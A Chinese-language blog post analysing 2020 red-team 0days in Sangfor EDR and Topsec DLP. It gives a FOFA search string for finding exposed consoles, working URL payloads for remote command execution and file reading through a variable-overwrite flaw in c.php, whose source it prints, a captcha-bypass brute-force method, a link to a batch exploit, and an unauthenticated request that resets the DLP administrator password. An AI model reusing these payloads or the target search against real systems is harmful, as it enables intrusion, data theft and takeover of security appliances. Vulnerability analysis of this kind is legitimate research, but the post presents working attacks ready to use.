深信服EDR 0day分析

在下参加了2020HW,有幸能现场吃到深信服的瓜,现在分享一下。

本次HW爆出的0day列表

  1. 天擎EDR
  2. 深信服VPN
  3. 深信服EDR
  4. 天融信DLP

其中最惨的当属深信服(每年都躺枪,都哭了)

深信服EDR

fofa这么搜深信服EDR:

title="终端检测响应平台"

首页长这样

file

深信服EDR RCE

payload:

/tool/log/c.php?strip_slashes=system&host=whoami

file

那就直接把源码脱下来分析一下吧
原理就是典型的变量覆盖漏洞,这里就不多做赘述了

file

由源码可以看出,path、row、limit也可以传递数据

<?php
/**
 * c.php
 * 查看ldb的日志
 * 支持正则表达式过滤,可以过滤文件以及每行日志
 */

call_user_func(function() {
    /**
     * 编解码
     * @param string $data 编解码数据
     * @return string 返回编解码数据
     */
    $code = function($data) {
        for ($i = 0; $i < strlen($data); ++$i) {
            $data[$i] = $data[$i] ^ 'G';
        }
        return $data;
    };

    /**
     * 加密请求
     * @param string $site  站点
     * @param string $query 请求串
     * @return string 返回请求URL
     */
    $request = function($site, $query) use(&$code) {
        $path = base64_encode($code($query));
        return "$site/$path";
    };

    /**
     * 解密回复
     * @param string $data 回复数据
     * @return array 返回回复数据
     */
    $response = function($data) use(&$code) {
        $ret = json_decode($data, true);
        if (is_null($ret)) {
            $dec = $code(base64_decode($data));
            $ret = json_decode($dec, true);
        }
        return $ret;
    };

    /**
     * 找到匹配的日志
     * @param string $path 文件路径匹配
     * @param string $item 日志项匹配
     * @param string $topn TOP N
     * @param string $host 主机
     * @return array 返回匹配结果
     */
    $collect = function($path, $item, $topn, $host) use(&$request, &$response) {
        $path   = urlencode($path);
        $item   = urlencode($item);
        $result = file_get_contents($request("http://127.0.0.1:8089", "op=ll&host=$host&path=$path&item=$item&top=$topn"));
        return $response($result);
    };

    /**
     * 显示某个表单域
     * @param array $info 表单域信息, array("name" => "xx", "value" => "xxx", "note" => "help");
     * @return
     */
    $show_input = function($info) {
        extract($info);
        $value = htmlentities($value);
        echo "<p><font size=2>$title: </font><input type=\"text\" size=30 id=\"$name\" name=\"$name\" value=\"$value\"><font size=2>$note</font></p>";
    };

    /**
     * 去掉反斜杠
     * @param string $var 值
     * @return string 返回去掉反斜杠的值
     */
    $strip_slashes = function($var) {
        if (!get_magic_quotes_gpc()) {
            return $var;
        }
        return stripslashes($var);
    };

    /**
     * 显示表单
     * @param array $params 请求参数
     * @return
     */
    $show_form = function($params) use(&$strip_slashes, &$show_input) {
        extract($params);
        $host  = isset($host)  ? $strip_slashes($host)  : "127.0.0.1";
        $path  = isset($path)  ? $strip_slashes($path)  : "";
        $row   = isset($row)   ? $strip_slashes($row)   : "";
        $limit = isset($limit) ? $strip_slashes($limit) : 1000;

        // 绘制表单
        echo "<pre>";
        echo '<form id="studio" name="studio" method="post" action="">';
        $show_input(array("title" => "Host ",  "name" => "host",  "value" => $host,  "note" => " - host, e.g. 127.0.0.1"));
        $show_input(array("title" => "Path ",  "name" => "path",  "value" => $path,  "note" => " - path regex, e.g. mapreduce"));
        $show_input(array("title" => "Row  ",  "name" => "row",   "value" => $row,   "note" => " - row regex, e.g. \s[w|e]\s"));
        $show_input(array("title" => "Limit",  "name" => "limit", "value" => $limit, "note" => " - top n, e.g. 100"));
        echo '<input type="submit" id="button">';
        echo '</form>';
        echo "</pre>";
    };

    /**
     * 入口函数
     * @param array $argv 配置参数
     * @return
     */
    $main = function($argv)
        use(&$collect) {
        extract($argv);
        if (!isset($limit)) {
            return;
        }
        $result = $collect($path, $row, $limit, $host);
        if (!is_array($result)) {
            echo $result, "\n";
            return;
        }
        if (!isset($result["success"]) || $result["success"] !== true) {
            echo $result, "\n";
            return;
        }
        foreach ($result["data"] as $host => $items) {
            $last = "";
            foreach ($items as $item) {
                if ($item["name"] != $last) {
                    $last = $item["name"];
                    echo "\n[$host] -> $last\n\n";
                }
                echo $item["item"], "\n";
            }
        }
    };

    set_time_limit(0);
    echo '<html><head><meta http-equiv="Content-Type" Content="text/html; Charset=utf-8"></head>';
    echo '<body bgcolor="#e8ddcb">';
    echo "<p><b>Log Helper</b></p>";
    $show_form($_REQUEST);
    echo "<pre>";
    $main($_REQUEST);
    echo "</pre>"; 
});
?>

深信服EDR 任意文件读取

more和less一般用于显示文件内容超过一屏的内容,并且提供翻页的功能。
more比cat强大,提供分页显示的功能,less比more更强大,提供翻页,跳转,查找等命令。
而且more和less都支持:用空格显示下一页,按键b显示上一页。下面详细介绍这3个命令。
1)cat 后面跟要查看的文件,文件内容全部输出到屏幕,
2)more 文件内容或输出查看工具;
   more 是我们最常用的工具之一,最常用的就是显示输出的内容,然后根据窗口的大小进行分页显示,然后还能提示文件的百分比;
3)less 查看文件内容

用cat 命令查看,哦吼不行,用less 也还是不想,哦吼用more OJBK,可以了
payload:

/tool/log/c.php?strip_slashes=system&host=more%20/XXXXX/l.php

file

验证码绕过

部分代码如下:

// 校验验证码
if (!ldb_run_at_console()) {
    if (isset($_REQUEST["captcha"])
        || $_REQUEST["captcha"] != base64_decode("M...
        echo "<font color='red'><b>验证码不对,请输入..."
        return;
    }
}

先输入几次错误密码,把验证码弄出来后,开启Burp(抓包工具)爆破密码即可,只要验证码第一次输入对后不为空,即可绕过

批量利用EXP

刚出来不久网上就传出来不少exp,很多是假的,但是这个是真的。
https://github.com/A2gel/sangfor-edr-exploit

天融信DLP

天融信DLP 最新版本V3.1130.308ps3_DLP.1 未授权访问导致越权修改管理员密码
网上就只有一张截图,推测是调用了mod_pwd 修改密码模块时,没有进行校验原密码+该api接口未授权访问,组合利用,导致管理员密码可被越权修改

POST /?module=auth_user&action=mod_edit_pwd HTTP/1.1
Host:xxxx
剩下的一些参数省略.... ...

uid=1&pd=Tftp@dlp108&mod_pwd=1&dlp_perm=1

file

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇